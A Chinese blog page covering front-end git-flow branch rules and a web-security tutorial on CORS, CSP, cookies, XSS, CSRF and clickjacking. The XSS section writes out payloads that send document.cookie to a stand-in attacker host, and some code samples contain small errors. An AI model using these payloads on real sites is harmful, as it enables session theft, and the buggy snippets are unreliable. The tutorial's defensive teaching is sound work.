中后台前端分支管理

中后台分支和环境管理规范

概览

分支&环境&环境分支

环境及环境分支

环境分支只用于触发CI&CD部署的分支,可随时被删除及从master重建;环境分支在使用前,或者在release后自动删除。

alpha: 指代测试环境,是一个功能提测试阶段的测试环境,对应功能测试环境分支,如:环境分支alpha/app-xxx对应功能开发分支feature/app-xxx的测试、组件相关的环境分支alpha/com-xxx => 组件功能开发分支feature/com-xxx;

beta: 稳定完整的测试环境,是功能测试后合到develop稳定的功能集合,在beta阶段需要回归,防止期间有测完的功能没有及时合并导致冲突,对应develop分支;

pre: 指代预发环境,是一个等同于线上的一个稳定环境,集合了现有将要发布到正式online环境的稳定功能,主要针对当前release版本在正式环境的接口下功能的预检,对应master分支,有并行的功能应做好入口开关,保证其他功能正常上线,或使用不同的release start后的包逐个预发验证后再release finish。

online: 指代线上正式环境,发布包来源master,即release/app-xxx-1.x.x或hotfix/app-xxx-fix-xxx finish后,push master触发CI打包产物,已经在pre上得到开发和需求方充分验证

git flow工作流程

环境及环境分支以外尊崇 git flow工作流程 ,除了master和develop是永久分支外,其他的分支都可以随时删除重建

master: 只能用来包括产品代码。你不能直接工作在这个 master 分支上,而是在其他指定的,独立的特性分支中(这方面我们会马上谈到)。不直接提交改动到 master 分支上也是很多工作流程的一个共同的规则。

develop: 是你进行任何新的开发的基础分支。当你开始一个新的功能分支时,它将是_开发_的基础。另外,该分支也汇集所有已经完成的功能,并等待被整合到 master 分支中。
feature/app-xxx-yyy@zzz: 从develop检出。feature/表示功能分支,xxx描述子产品,yyy描述迭代功能(新项目则不指定),@zzz多人开发一个feature时可使用;同理feature/com-xxx-yyy@zzz代表组件,即xxx描述组件;

release/app-xxx-1.x.x: 从develop执行git flow release start app-xxx-1.x.x生成,在整理或修改版本相关信息后,push远程触发CI&CD到pre和online环境,检查完后执行git flow release finish app-xxx-1.x.x合并到master和develop。1.x.x表示当前app-xxx的版本,其他同上;

hotfix/app-xxx-aaa: 从master执行git flow hotfix start app-xxx-yyy生成,处理完, aaa表示fix的内容的描述,其他同上。

开发流程

feature流程

即拿到需求开发一个新的app或者在现有app上迭代功能

  1. 创建功能分支,执行
# 新项目为 git flow feature start app-ci,即app-xxx
git flow feature start app-ci-pipeline

# Switched to a new branch 'feature/app-ci-pipeline'

# Summary of actions:
# - A new branch 'feature/app-ci-pipeline' was created, based on 'develop'
# - You are now on branch 'feature/app-ci-pipeline'

# Now, start committing on your feature. When done, use:

#      git flow feature finish app-ci-pipeline

feature start后将会基于develop创建新功能分支 feature/app-ci-pipeline,并切自动换到 app-ci-pipeline 分支,开始相应功能开发;

  1. 相应功能开发完或部分开发完后需要提测,将当前功能分支 feature/app-ci-pipeline 合并到产品对应环境分支alpha/app-ci(如果新项目需要创建环境分支alpha/app-ci并配置触发CI&CD),等待Auto CI&CD打包部署完后到alpha环境下访问对应产品进行测试;

  2. 当前功能充分测试完成后,做发布前准备,集成测试,执行

# 新项目为 git flow feature finish app-ci,即app-xxx
git flow feature finish app-ci-pipeline

# Switched to branch 'develop'
# Already up to date.
# Deleted branch feature/app-ci-pipeline (was 5089ac8).

# Summary of actions:
# - The feature branch 'feature/app-ci-pipeline' was merged into 'develop'
# - Feature branch 'feature/app-ci-pipeline' has been locally deleted
# - You are now on branch 'develop'

feature finish执行完后当前功能分支feature/app-ci-pipeline被合并到develop,触发beta环境的CI&CD,在beta集合了现阶段准备上线的所有功能,是一个相对稳定的线下测试环境,在这个环境下回归自己的功能是否影响或被影响其他功能。

  1. beta回归完后,执行
git flow release start app-ci-pipeline-1.0.0

# Switched to a new branch 'release/app-ci-pipeline-1.0.0'

# Summary of actions:
# - A new branch 'release/app-ci-pipeline-1.0.0' was created, based on 'develop'
# - You are now on branch 'release/app-ci-pipeline-1.0.0'

# Follow-up actions:
# - Bump the version number now!
# - Start committing last-minute fixes in preparing your release
# - When done, run:

#      git flow release finish 'app-ci-pipeline-1.0.0'

release start后创建并切换到了release/app-ci-pipeline分支,我们可以编辑一些版本号或者release changelog等

  1. 然后结束release流程,执行
git flow release finish app-ci-pipeline-1.0.0

# Switched to branch 'master'
# Deleted branch release/app-ci-pipeline-1.0.0 (was 5089ac8).

# Summary of actions:
# - Release branch 'release/app-ci-pipeline-1.0.0' has been merged into 'master'
# - The release was tagged 'sre-release-app-ci-pipeline-1.0.0'
# - Release branch 'release/app-ci-pipeline-1.0.0' has been locally deleted
# - You are now on branch 'master'

release finish执行完后relealse代码被合并到master和develop,没有更改的会被忽略。

  1. 手动或自动推送master到远程,触发CI&CD部署到pre预发环境,这个阶段需要检查预发下发布包是否正常,拉上需求方一起检查在线上接口数据下功能是否正常。

  2. 将6构建好的包发起上线单,发送正式环境部署通告,部署到生产环境,让需求放一起double check,完成一次正式环境发布。

通告模板: 这里预发和正式环境都需要发送通告,随着并行项目和开发人员越来越多,可能会把别人在预发的功能带上去,所以提前通告及处理

【上线通告】
模块:前端app-ci模块
环境:正式/预发
变更:ci下pipeline和产品库新功能发布 @相关人员
上下游影响:本次改动没有其他关联app
进度:0%

回复
进度 50%

回复
进度 100%

回复
进度 检查无误

hotfix流程

当遇到线上问题需要紧急修复的时候

a. 如app-ci下产品模块的样式问题,执行

git flow hotfix start app-ci-product-style
# Switched to a new branch 'hotfix/app-ci-product-style'

# Summary of actions:
# - A new branch 'hotfix/app-ci-product-style' was created, based on 'master'
# - You are now on branch 'hotfix/app-ci-product-style'

# Follow-up actions:
# - Start committing your hot fixes
# - Bump the version number now!
# - When done, run:

#      git flow hotfix finish 'app-ci-product-style'

执行后会生成并自动切换到hotfix/app-ci-product-style分支,修复问题,期间有不确定的不会限制太死,可以合到对应alpha/app-ci分支测试,时间宽裕的作为功能迭代feature,走feature流程亦可(理论上不存在特别紧急的hotfix,线上问题,根据稳定性原则上线引起的第一步回滚及通报,第二步修复再发布);

b. 修复完后执行

git flow hotfix finish app-ci-product-style
# Switched to branch 'develop'
# Merge made by the 'recursive' strategy.
#  bb.html | 0
#  1 file changed, 0 insertions(+), 0 deletions(-)
#  create mode 100644 bb.html
# Deleted branch hotfix/app-ci-product-style (was a9f2b71).

# Summary of actions:
# - Hotfix branch 'hotfix/app-ci-product-style' has been merged into 'master'
# - The hotfix was tagged 'sre-release-app-ci-product-style'
# - Hotfix tag 'sre-release-app-ci-product-style' has been back-merged into 'develop'
# - Hotfix branch 'hotfix/app-ci-product-style' has been locally deleted
# - You are now on branch 'develop'

hotfix finish后会自动合并到develop和master分支。

c. 同feature流程6;

d. 同feature流程7

code review

develop 和 master分支是锁定的,只能通过merge request的方式合并,因此在上面的流程中,在往develop和master远程推送代码的时候回被阻断,改用发起merge request,并且找到另一个同学一起code review,review中的问题修复后才可merge。

团队管理笔记

管理所学所用

开始接触管理的事务后,大脑的反应就要被迫加快了,思考->逻辑->评价->决策时刻都在发生。初级管理者要事为团队先,承受着更大的压力,自己缓解压力是必要的。害怕源于为无知,压力来自未知,做好明天的计划,活在当下。学习是缓解压力的好办法,首先接受自己的普通和无知,梳理一下自己的压力和焦虑,因为这些问题很可能前人已经经历过,找找相关的书籍,认识到自己的不足并做计划从容的学习。

Read More

web安全笔记

web安全问题来源预览

web(World Wide Web)万维网,是一种基于超文本标记语言(Hyper Text Markup Language, HTML)和超文本传输协议(Hyper Text Transfer Protocol,HTTP),建立在互联网(Internet,网络与网络之间通过一组通用的协议相连的组成的庞大网络,又称网际网络。集合关系:互联网>因特网>万维网)上全球性的动态图形媒体化网络服务系统。

根据定义描述,我们涉及到了web程序和Internet。那程序本身,程序与程序的接口,程序与网络设备的接口,网络设备与网络设备的接口,网络设备本身都是可能存在不完美,存在可攻击的漏洞。web程序中主要涉及到HTML、CSS、Javascript及其他图片、音视频等媒体资源;web程序需要在浏览器等程序中运行;浏览器需要在系统程序下运行,需要与系统的网络模块程序对接;网络模块程序除了和浏览器程序对接,还需要和网络硬件设备对接,网络进入互联网后还要各种网络硬件设备对接中转数据,网络硬件设备中还需程序处理再转到其他网络中转设备或计算机设备…

具体一点看,一般我们在计算机设备上使用的web应用程序(这里的计算机比较广义,包括手机等移动设备、物联网设备:一般内嵌单片机等小型或简易计算机),那我们回顾一下计算机网络课程的相关知识(应用层->[会话层->表示成]->传输层->网络层->数据链路层->物理层间相关协议和传输及解析过程等),再结合我们在web应用使用场景和开发中用到的技术知识,知道哪些地方可能被攻击,我们就容易理解web安全应该做什么了。大概可以分为两大类,web应用端和web服务端程序包括浏览器在内的程序,即针web本身服务相关程序的安全;web服务使用到的计算机网络模块程序和设备,路由器等传输介质,即针对web服务使用网络过程中的安全。

针web本身服务相关程序的安全

  • 程序设计漏洞导致如:密码、机密、隐私、金钱等被盗取,给用户造成巨大的经济损失和安全威胁等危害,对社会造成恐慌等不必要的危机。

针对web服务使用网络过程中的安全

  • DNS劫持、链路层数据拦截等,除了盗取数据外,攻击者对受害者连网设备挂马,锁定等,阻碍用户的正常使用,甚至敲诈勒索,谋取钱财等恶劣行为。
  • 服务器被分布式拒绝服务(Distributed Denial of Service,DDoS。TCP SYN攻击、畸形数据包攻击、UDP洪水攻击和ICMP洪水攻击)攻击,如果没有防御措施,服务器资源,网络带宽等超负载而不能对正常用户提供服务。

综合安全问题

  • 有时候使用4G网访问一些http的网站,页面会额外出现一个气泡,点开是我们购买的4G卡的网络运营商的广告面板。这里网络运营商拦截了我们的请求,并改写了我们访问的web应用的内容。
  • 有时候还要考虑当地法律法规,比如许多国家或地区禁止数据过境,就是在本国产生的数据无论应用提供商是哪个国家的都只能存储在该国内或限制地区内。

web安全防护我们需要做什么

做安全我们经常会问自己,前面的节点或者后面的节点都做好了安全,现在我这一环节还需要做吗?很常见的例子是XSS的用户输入过滤,在存的时候过滤呢,还是取出来展示的时候过滤?已经有CSP这些内容安全限制了我们还需要去过滤吗?需要,有一天我们需要引入一个可信任的库,需要执行eval,那我们是在现有的CSPscript-src中加unsafe-eval呢,还是自己重写一个不用eval或new Function([arg1[, arg2[, ...argN]],] functionBody)的库?在实践中安全防护宁可多一步,我们想着其他节点会做,其他节点的人也会想着我们会做,在规范没有制定完善或者不能被大家采纳并完全推行的情况下建议自己已知的都做。因为今天对接的是考虑到了这个安全情况的团队,明天遇到的可能没有考虑到。每个节点的使用场景也可能不同,前端直接面对用户的操作,现有的API可能只或还要考虑OpenAPI等非浏览器操作的场景。

web最早的设计,假设了网络环境是可信任的,比如:HTTP是明文传输的,在网络中个各个路由节点都可以拦截到传送的明文信息,如果被不法分子利用就可能会危害用户的利益,那web安全防护我们应该做些什么,怎么做才算到位呢?好在后来为了防止web应用使用中的恶意攻击,RFC等Internet相关标准协会又设计了许多新的协议来提升web应用使用过程中的安全性。现在很多库和浏览器会默认给我们做一些安全方面的防护,这里我们来看看web中的一些普遍的安全问题及攻防策略。

HTTP访问控制

同源策略

为了防止web应用页面中引入恶意可执行脚本文件,浏览器实现了同源策略,用于控制当前源加载的文档和脚本与来自其他源的资源的交互,隔离潜在风险。

同源的判断条件

如下,4个属于非同源,同源需要端口号,协议,域名完全相同,也即是三者有一不同都会受到同源策略限制,1与3或4都是不同域

  1. https://www.alesir.com
  2. http://www.alesir.com
  3. https://alesir.com
  4. https://app.alesir.com

note: 特别的,当设置1中页面设置document.domain=alesir.com时,1和3可以通过同源限制

策略的影响范围

我们来看一下web应用中哪些可能涉及到跨域资源交互的地方。

  • 数据存储localStoragesessionSorageIndexedDB是分开存储的不能跨域读写,更不能接收读写通知事件
  • 由 XHR 或 Fetch 发起的HTTP请求,受到同源策略控制。
  • cookie根据不同源分开存储和传递,但子域可以共享父域的cookie,如www.alesir.com可以访问或设置alesir.com下的cookie,不能访问app.alesir.com下的cookie。这类似继承,子能继父,父访不知道子。
  • <script src=""></script> 受同源控制,但通常资源文件设置了CORS值为*,可以访问执行,但脚本错误默认只能在同源的脚本中捕捉到;
  • <link rel="stylesheet" href=""> 引入样式一般不受同源限制,但有的特殊情况-参考chromium issue:9877

@font-face Web 字体 (CSS 中通过 @font-face 使用跨域字体资源), 因此,网站就可以发布 TrueType 字体资源,并只允许已授权网站进行跨站调用。

@font-face {
  font-family: dc2-icons;
  src: url(//static.alesir.com/pub/www/fonts/dc2-icons.1dea9cbe3f.eot);
  ...
}
  • <img><video><audio>图片,媒体音视频标签引入不受同源策略控制,但使用 drawImage 将 Images(包括img)/video 绘制到 canvas,WebGL 贴图等可对资源修改入侵的操作受同源策略控制
  • <iframe>嵌入网页,<object>嵌入外部资源图片、文档、音视频等,可以通过X-Frame-Options: sameorigin来控制跨域嵌入行为,关于X-Frame-Options后文ClickJacking攻击中会讲到
<!-- Chrome中渲染后报错,Refused to display 'https://www.tutorialspoint.com/es6/es6_tutorial.pdf' in a frame because it set to 'sameorigin'. -->
<object type="application/pdf" data="https://www.tutorialspoint.com/es6/es6_tutorial.pdf" width="600" height="400">
</object>

<iframe src="https://app.alesir.com"></iframe>
  • window.parent, window.top, window.open, window.opener, iframe.contentWindow在非同源时某些属性会受到限制。比如window.open打开一个非同源的页面的返回值windowObjectReference受同源限制(一般能获取窗口window的引用,及受限的部分属性及方法);如后面会讲到的ClickJacking防御JS实现会用到的window.top.location等涉及到跨域网页隐私信息的api也受同源限制
  • Shared Worker 在多个窗口间共享时受同源限制
  • WebAssembly 模块文件受同源策略限制

跨域资源共享机制(Cross Origin Resource Share,CORS)

实际操作中,我们还是有很多情况需要跨域资源共享的,我们来看一下,比如:

  • 脚本等资源请求,XHR 或 Fetch API发起的接口请求,可以通过服务器响应中CORS Header。
// * 表明,该资源可以被任意外域访问,一般用于资源类文件
Access-Control-Allow-Origin: *
// 一般用于API接口,可以根据请求来源判断并返回对应host
Access-Control-Allow-Origin: https://www.alesir.com

通常为了避免对服务器上的用户数据产生未知影响,浏览器会对跨域资源请求提前向服务器发起包含实际请求的信息,如

// 实际请求方法和将携带的Header
Access-Control-Request-Method: POST 
Access-Control-Request-Headers: content-type,...,dicloud-header-zoneid

等Header的OPTIONS预检请求,如果服务器响应正确的CORS Header,包含

// 服务器允许客户端使用的方法、可携带的Header、允许请求的源、该响应的有效时间为 86400 秒
Access-Control-Allow-Methods: PUT,PATCH,POST,GET,DELETE
Access-Control-Allow-Headers: content-type,...,dicloud-header-zoneid
Access-Control-Allow-Origin: https://www.alesir.com
Access-Control-Max-Age: 86400
// Access-Control-Expose-Headers: xxx

等,确认可以跨域共享了再发起真实的请求。关于哪些情况的请求不需要预检参考MDN

  • 我们前后端分离,域名也不同,满足跨域,在请求数据的时候需要跨域携带会话凭证cookie。但要让XHR或Fetch跨域携带HTTP cookie或HTTP 认证信息凭证除了配置上面的CORS Header,请求中还需配置XHR:withCredentials=trueFetchAPI:credentials=same-origin
// XHR
let xhr = new XMLHttpRequest()
xhr.open('POST', 'https://api.alesir.com/xxx', true)
xhr.withCredentials = true
xhr.onreadystatechange = handler
xhr.send()
// Fetch API
fetch(https://api.alesir.com/xxx'', {
  credentials: 'same-origin'
})

响应头中需添加

Access-Control-Allow-Credentials: true
  • 我们在做前端脚本错误监控的时候会用到window.onerror,除了在响应头中加上正确的CORS Header,在引用脚本的时候还需要添加crossorigin属性。
<script type="text/javascript" src="//static.alesir.com/static/www/js/dc2.6969d5a4bb.js" crossorigin="anonymous"></script>

window.postMessage()实现跨域资源共享

同源情况下我们可以通过Storage API,localStorage,onstorage事件,IndexedDB等实现不同窗口间的数据共享及通知。跨域的情况下我们还可以通过Web API,window.postMessage()来实现不同窗口或与web worker间的通信及资源共享。详细API

// 主窗口向指定窗口发送消息
// 第一个参数主流浏览器会序列化对象,不需要自己处理,兼容处理JSON.stringiry(data)
// 第二个参数,确定向指定窗口的特定源发送消息,别忘了iframe.src可能被改变,所以不要随便指定通配源"*"
// 返回undefined
targetWindow.postMessage({directive: 'request:connect', uuid: uuid++, content: { request: ['getUserInfo', 'getUserPassword'], ... }, 'https://www.alesir.com/activity.html')
// 主窗口接收其他窗口消息
window.addEventListener('message', e => {
  // 对未知来源origin的信息不做处理,防止信息泄露
  if (!whiteList.includes(e.origin)) return false
  // e.source是来源窗口的window对象,非同源或没有配置跨域共享则改window是受限的,location等信息不可取
  // 根据收到的消息supports: ['getUserInfo'],处理数据e.data(postMessage第一个参数,传什么接什么,包括对象、字符串),
  e.source.postMessage({directive: 'request:getUserInfo', uuid, content: { name: 'alesir', ...}}, e.origin)
}, false)

// target窗口,接受主窗口发送的消息
targetWindow.addEventListener('message', e => {
  if (!whiteList.includes(e.origin)) return false
  // 根据响应,处理业务,发起新请求
  e.source.postMessage({directive: 'response:connect', uuid: uuid++, content: { supports: ['getUserInfo'], ...}}, e.origin)
  // ...
}, false)

实例 我们需要在多个系统(域名不同)之间同步一些用户信息,如果使用在父级域种cookie的方式,可能会出现一些不可预料的信息泄露,比如有一个子域部署的是二次开发的某个开源系统,那该系统如果被发现有漏洞,攻击者就可能利用这些漏洞盗取你在父域种的用户信息。因此我们采用postMessage的方式在第一个获取到这些信息的窗口中iframe引入另外需要共享数据的域的接收页面,通不过去后存储

<iframe id="cross-orgin" src="//www.alesir.com/_/icf.html" style="display: none;"></iframe>
<!-- icf.html -->
<script>
  window.addEventListener('message', function(e) {
    if (whiteList.includes(e.origin)) {
      var message = e.data || {}
      if (message.directive === 'request:data-sync') {

        let content = message.content || {};
        for (var i in content) {
          window.localStorage[i] = content[i];
        }

        // 针对 safari 特殊处理
        if (window.navigator.vendor.indexOf('Apple') > -1) {
          for (let i in content) {
            document.cookie = i + '=' + content[i] + '; max-age=1800; domain=' + window.location.hostname;
          }
        }
        e.source.postMessage({
          directive: 'response:data-sync'
          uuid: message.uuid
          content: 'done'
        })
      }
      // ... 其他指令
    }
  }, false);
</script>

其他跨域共享资源的方式和场景

  • JSONP(JSON with Padding)
    <!-- 需要服务端配合实现,利用script src请求脚本资源不受跨域限制的特点实现跨域请求服务器数据。看下JSONP的src一般为http(s)://api.alesir.com/jsonp/getprodlist?cb=getProdList形式,然后把这个脚本插入DOM解析执行 -->
    <script src="http(s)://api.alesir.com/jsonp/getprodlist?cb=getProdList"></script>
    <!-- 返回后相当于在网页中执行如下脚本 -->
    <script>
    // 即,调用了getProdList方法并带了服务器返回的参数,这个方法是网页传给服务器的,因此用来处理什么网页就自己根据和服务器接口的协商控制了。
    getProdList([{id:1,..},{id:2,..},{id:3,..}...])
    </script>
  • document.domain + iframe(需要主域相同)
  • 通过hash方法(location.hash + iframe)
  • 通过window.name方法(window.name + iframe)
  • 降域(需要主域相同)

内容安全策略(Content Security Policy, CSP)

CSP,顾名思义就是关于web内容安全控制的协议,是一个用于检测和缓解XSS等攻击的方法,不仅提供了多维度的内容安全控制策略,还可动态上传CSP违规报告来监视攻击你网站的尝试和攻击者

CSP可以配置的指令

  • 控制嵌入资源的来源值
    • url匹配,可以使用*号通配符
    • 关键字字符串 'none' 'self' 'unsafe-inline' 'unsafe-eval'
    • scheme-source data:http:
  • 各种资源的来源指令
    • base-uri 后面所有资源的basePath
    • form-action
    • default-src 各资源的默认值child-src/connect-src/font-src/img-src/media-src/object-src/script-src/style-src
    • connect-src XHR、WebSocket、EventSource
    • child-src 子窗口或web worker
    • object-src <object>
    • script-src JS脚本资源,
    • worker-src web worder脚本来源
    • style-src
    • img-src
    • 更多详细策略指令配置参考
  • 取值

可以看出,CSP策略配置是白名单的形式,不在白名单的默认,

<meta>方式

<meta http-equiv="Content-Security-Policy" content="script-src 'self' static.alesir.com data:; style-src 'static.alesir.com'; uri-report /api/csp-reports">

HTTP Header方式

Content-Security-Policy: default-src 'self'

我们来看下如果主要控制脚本的攻击,配置script-src,根据需要可以多种规则组合配置出自己的策略

如果添加了违规报告的配置,出现违规的浏览器将以POST请求的形式,把发生违规的文档相关信息发送给我们用report-uri指令配置的url接口服务,格式如下

{
  "csp-report": {
    "document-uri": "https://app.alesir.com", // 发生违规的文档URI
    "referrer": "", // 发生
    "blocked-uri": "https://tracker.example.com",
    "violated-directive": "script-src 'self' static.alesir.com data:", //违反的策略名称。
    "original-policy": "script-src 'self' static.alesir.com data:; style-src 'static.alesir.com'; uri-report /api/csp-reports"
  }
}

HTTPS

HTTPS相比于HTTP对数据传输做了加密,相对来说数据在传输过程中更不容易被破解劫持,传输数据更安全。
关于https的原理参考

服务器重定向网站到HTTPS

nginx配置

server {
    listen 80;
    server_name www.alesir.com;
    rewrite ^(.*)$ https://$host$1 permanent;
}

HTTP Strict Transport Security, HSTS

HSTS协议通知浏览器禁止使用HTTP访问,需要转到HTTPS
服务器返回Header,超时通常设置一两年,一般换到HTTPS后也不会再换回HTTP,且每次收到改Header都会更新时间,在这期间浏览器都会尝试将HTTP转到对应HTTPS的请求。

Strict-Transport-Security: max-age=63072000
Strict-Transport-Security: max-age=63072000; includeSubDomains // 包括子域名
Strict-Transport-Security: max-age=63072000; preload 、、

Cookie安全

cookie是服务器发送到用户浏览器或用户在浏览器设置并保存在本地的一小块数据,他会在浏览器下次向同一服务器再次发起请求时被携带发送给服务器。cookie常作为会话状态的存储和携带者,因此cookie相关的漏洞也是攻击者常攻击的目标。关于Cookie的知识请参阅MDN Cookie,这里只涉及安全相关的内容。

名称: Cookie名称可以添加__Secure-__Host-前缀防止cookie被不安全的源覆盖
__Host-: 标记只有当前完整域下使用的cookie,设置Path=/,但不设置Domain
__Secure-: 标记只是从安全来源(如HTTPS)发送的cookie
Secure: 必须使用Secure标志设置所有cookie ,表示它们只应通过HTTPS发送
HttpOnly: 不需要JavaScript访问的Cookie设置为HttpOnly,比如用户认证token等

过期设置: 对于安全认证的会话标识Cookie应该设置尽快到期,防止用户离开未手动退出登录被他人恶意操作(不指定则浏览器关闭就失效,也有的浏览器有会话恢复功能)

  • Expires: 设置给定cookie的绝对到期日期,如:Mon, 16 Sep 2019 09:28:00
  • Max-Age: 设置给定cookie的相对到期日期,单位秒,如:Max-Age=1800 半小时过期

作用域:

  • Domain: 如果需要在其他域上访问Cookie,则应仅使用此设置Cookie,并且应将Cookie设置为最严格的域
  • Path: Cookie应设置为尽可能最严格的路径,但对于大多数应用程序,这将设置为根目录

SameSite: 禁止通过跨源请求(例如来自<img>标签等)发送cookie ,是一个强大的CSRF防御措施,但只有主流浏览器支持,查看支持情况;其次现在前后端分离(不在同一个域)很多时候我们需要携带api域的认证cookie。

  • SameSite=Strict: 仅在站点直接导航到时发送cookie
  • SameSite=Lax: 从其他站点导航到您的站点时发送cookie

服务器端设置cookie

Set-Cookie: TOKEN=e5e5804fa7fa616205d8772ad85b9154; Domain=api.alesir.com; Path=/; Max-Age=1800; Secure; HttpOnly;

前端存取cookie

document.cookie='nickname=alesir; path=/; max-age=7200;'
// 获取所有非HttpOnly标记的cookie字符串 document.cookie
function getCookie(key, cookie = document.cookie) {
  if (cookie.length > 0) {
    let start = cookie.indexOf(key + '=')
    if (start != -1) {
      start = start + key.length + 1
      end = cookie.indexOf(';', start)
      if (end == -1) {
        end = cookie.length
      }
      return unescape(cookie.substring(start, end))
    }
  }
  return ''
}

常见web攻击及防御

XSS

XSS(Cross-Site Scripting),缩写也可为CSS,因已有CSS级联样式表定义,故常用XSS,跨站点脚本攻击。

攻击方式:攻击者往web页面里面插入恶意可执行脚本代码,当用户浏览到页面时,嵌入的脚本被执行,进而达到盗取用户数据等目的。

漏洞来源举例

  • 开发者直接取url上的参数innerHTML塞到了页面,攻击者通过伪装链接,在将该参数的值设为script标签
// https://www.alesir.com?channel=<script>new Fetch("https://track.alesir.com/cookie=document.cookie")</script>

// 如果你的脚本是这样的
$0.innerHTML = unescape(location.search.slice(location.search.indexOf('=') + 1))

这样在网络请求中可以看到,你的cookie就被提交到攻击者的网站了,好在这种情况chrome等现代浏览器默认预先做了防御,这样写的script不会自动执行。但标签属性值嵌入攻击没有限制,浏览器阻止的是自动执行,如事件回调是用户点击操作响应的,所以没有阻止,如下

// https://www.alesir.com?channel=<script style='display:block;' onclick="fetch('https://www.alesir.com?channel=' + document.cookie)">click me!</script>

// 如果你的脚本是这样的,用户将在页面看到你的点击邀请,或者隐藏覆盖整个页面,不管你点哪里都会提交
$0.innerHTML = unescape(location.search.slice(location.search.indexOf('=') + 1))

// 如果没有防御措施,攻击者的cookie如数提交给攻击站点https://attack.example.com
// https://www.alesir.com?channel=<script style='display:block;' onclick="fetch('https://attack.example.com?cookie=' + document.cookie)">click me!</script>

// 上面的例子如果fetch API不好使,可以直接location.href
location.href='https://attack.example.com?cookie=' + document.cookie

类似的,浏览器只阻止了XHR回调中的非同源页面的自动跳转。

更常见的例子是,网站存储了攻击者的评论,然后没有任何防护的情况下直接渲染到用户界面,当用户打开网页时执行了攻击者的代码,结果同上。

  • 另外js中除innerHTML外,还有eval, new Function(),document.write(),document.writeln(),window.setInterval(),window.setTimeout(),document.createTextNode(code)等时都可能会插入脚本代码或直接执行。
var script = document.createElement('script');
var code = '(function(){' + console.log('hello') + '\n}());';
/*
script.innerHTML = code;
/*/
script.appendChild(document.createTextNode(code));
//*/
document.head.appendChild(script);
eval('console.log(1)')
document.writeln('<div onclick="console.log(1)" style="position:fixed;top:0;bottom:0;left:0;right:0;z-index:99999">')
(new Function('console.log(1)'))() // 1
setTimeout('console.log(1)', 100) // 1
setInterval('console.log(1)', 100) // 1

防御方式

用户输入过滤或转义

对可能在文档中插入或直接执行脚本的方法和操作谨慎使用,涉及到用户输入的数据要过滤,将潜在脚本等危险输入剔除;对往DOM中插入的节点包含用户输入(用户可操作的表单数据、URL等)的数据的地方预先用escape转义

过滤和转义为了防止嵌入<script>脚本标签或者<img src="" onclick="">属性方法调用,而执行攻击者脚本。因此我们通常转义<->&lt;>->&gt;等破坏攻击者脚本的解析。我们在使用一些框架如vue的时候,框架已经报我们默认做了escape,特殊的v-html的时候只会渲染预先确定的内容。

escape('<script>console.log(1);</script>')
// 输出:"%3Cscript%3Econsole.log%281%29%3B%3C/script%3E"
// 需要非输出到DOM中使用的时候再unescape

X-XSS-Protection

X-XSS-Protection: 0 // 不过滤XSS
X-XSS-Protection: 1 // 默认启用XSS过滤,清除页面不安全部分
X-XSS-Protection: 1; mode=block // 检查到XSS攻击,浏览器阻止页面加载,而不清除页面不安全部分
X-XSS-Protection: 1; report=https://www.alesir.com/_/icf.html // 使用CSP的报告功能

内容安全策略CSP

参考前文。CSP相比X-XSS-Protection可以更细致的配置策略来处理更多场景。这里对XSS不再扩展,后面在CSRF的攻击部分在结合举例。实际在使用中我们会遇到许多取舍,比如:有时候需要引入一个新的代码库,你就要考虑对这个库开放或放宽一些策略。

跨站点请求伪造(Cross Site Request Forgery, CSRF)

CSRF是一种利用用户的登录凭证,向服务器发起攻击者恶意请求的攻击方式。
比如用户在A站登录了,这时候去B站浏览,发现B站有一些吸引人的链接就去点击了,实际这些链接底下是向A站的服务器发起删除资源,转账等请求,因为用户登录的认证凭证在浏览器上自动跟随请求发送到服务器,所以这个操作成功了,给用户带来了巨大损失。
现在想想上面这个例子很不可思议,对于普通用户来说会觉得:“那我们现在浏览网页不是很危险”;对于计算机相关技术人员来说:“这怎么可能,浏览器禁止跨域请求,服务器可以判断请求来源,balabala…”,是的现在网站和浏览器实现了很多安全协议来保障我们的安全使用。那我们来梳理一下我们CSRF的攻防策略

攻防策略

前面我们看到了许多协议和策略,诸如:同源策略、CSP、安全使用Cookie等,比如:

  • 重要的操作我们避开可以直接浏览器访问的GET请求
  • 对于重要的表单提交,给每个表单加上唯一TOKEN,每次提交都校验通过后再做更改
  • 对于重要的XHR请求或者Fetch请求,每次带上唯一TOKEN,每次提交都校验通过后再做更改

接下来看看具体实现方式

加CSRF_TOKEN方式: 现在我们基本上前后端分离,前端页面在静态服务上渲染,在给每个表单添加CSRF_TOKEN实现起来又合后端耦合起来了,同时现在大家也使用XHR或者Fetch API取代了Form表单提交数据的方式,所以现在实现防御CSRF的方式一般是:

  1. 在每次登录成功后返回一个新的CSRF_TOKEN,并在cookie携带一个HTTPOnly的CSRF_TOKEN;
  2. 之后的每个重要请求都带着这个CSRF_TOKEN;
  3. 每次登录凭证过期或者在其他地方登录后,都重新生成CSRF_TOKEN给前端,就得则失效;

加验证码: 对关键操作加二次验证,图形验证码,短信验证码等都比较常见的处理方式,这个虽然会降低一定的使用体验,但对于关键操作可以减少用户自身误操作,也防止攻击者恶意操作。

ClickJacking

ClickJacking攻击是其他人嵌入我们的网页,欺骗用户输入,截取用户鼠标键盘操作,比如:

  1. 键盘事件:登录过程输入用户名和密码等操作被拦截后,你的账号和密码就直接暴露给了恶意把你的网页嵌入的站点。
  2. 鼠标事件:攻击者将我们的页面嵌入攻击者的页面,透明展示并把登录按钮或者其他关键操作按钮定位到某个吸引人的图片链接上,诱导用户点击,那将以用户的身份执行了某些破坏性操作。比如:攻击者想要骗取点赞,把自己在某社交网站的公开文章页面透明嵌入到另外一个吸引人们点击的网站,并把社交网站页面的文章电赞按钮定位到“点击有奖”之类的按钮上,其他需求的用户将可能以自己的身份为攻击者的文章点赞。

X-Frame-Options

根据需要X-Frame-Options提供了三个可能的值:

X-Frame-Options: deny // 表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许。
X-Frame-Options: sameorigin // 表示该页面可以在相同域名页面的 frame 中展示
X-Frame-Options: allow-from https://example.com/ // 表示该页面可以在指定来源的 frame 中展示。

note: 这里需要在HTTP Header中添加,meta设置是不生效的<meta http-equiv="X-Frame-Options" content="deny">更多参考

JS实现

判断嵌入我们页面的宿主窗口(可能是攻击者的窗口)是否可信,不可信则将宿主窗口重定向到自己真实的站点或展示其他提示。

// top是一个窗口里面最外层的window,self是当前窗口的window,如果页面没有被嵌入其他窗口top和self都是当前窗口的window
if (window.self !== window.top) {
  // 不相等直接返回空,页面不再渲染
  return false
}

需求: 这里也可以判断当前主窗口的url是否在白名单内决定是否渲染或重定向攻击者的主窗口到我们真实的页面
